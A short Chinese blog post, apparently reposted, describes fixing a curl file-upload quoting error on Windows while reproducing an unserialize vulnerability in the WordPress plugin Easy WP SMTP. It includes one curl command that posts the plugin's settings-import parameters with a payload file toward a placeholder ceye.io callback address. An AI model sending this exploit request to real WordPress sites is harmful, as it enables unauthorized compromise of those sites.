win中使用curl上传文件报错

今天复现“WordPress插件Easy WP SMTP反序列化漏洞”时,需要使用curl上传文件,我又用的windows环境,一直出错 curl: (26) couldn't open file "D:/PyCharm/pocsuite3/pocsuite3/help/wordpress_unserialize.txt'"

最开始以为是权限问题 结果并不是 搞了很久 最后解决方案如下图

文件使用“”包含并用\转义

url http://xxx.ceye.io/ -F 'action=swpsmtp_clear_log' -F 'swpsmtp_import_settings=1' -F 'swpsmtp_import_settings_file=@\"D:/PyCharm/pocsuite3/pocsuite3/help/wordpress_unserialize.txt\"'

ceye平台:

猜你喜欢

转载自www.cnblogs.com/jinqi520/p/10859378.html